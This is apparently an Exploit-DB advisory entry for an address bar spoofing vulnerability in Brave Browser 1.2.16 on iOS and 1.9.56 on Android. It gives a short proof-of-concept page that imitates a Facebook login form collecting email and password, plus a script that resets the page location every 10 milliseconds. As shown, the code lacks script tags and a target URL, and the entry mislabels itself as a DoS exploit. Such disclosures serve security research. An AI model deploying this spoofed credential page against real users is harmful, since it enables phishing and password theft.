Brave Browser 1.2.16/1.9.56 - Address Bar URL Spoofing

ID EDB-ID:40994
Type exploitdb
Reporter Exploit-DB
Modified 2017-01-08T00:00:00


Brave Browser 1.2.16/1.9.56 - Address Bar URL Spoofing. Dos exploit for Multiple platform

                                            Brave Browser Suffers from Address Bar Spoofing Vulnerability. Address Bar
spoofing is a critical vulnerability in which any attacker can spoof the
address bar to a legit looking website but the content of the web-page
remains different from the Address-Bar display of the site. In Simple
words, the victim sees a familiar looking URL but the content is not from
the same URL but the attacker controlled content. Some companies say "We
recognize that the address bar is the only reliable security indicator in
modern browsers" .
Products affected:

   - In IOS - Affected is the Latest Version 1.2.16 (
   - In Android - Affected in Brave Latest version 1.9.56

Exploit Code: 

<title>Address Bar spoofing Brave</title>
<h1> This is Dummy Facebook </h1>
Email: <input type="text" name="username" placeholder="add email"><br>
Password: <input type="text" name="password" placeholder="pass">
function f()
location = ""
setInterval("f()", 10);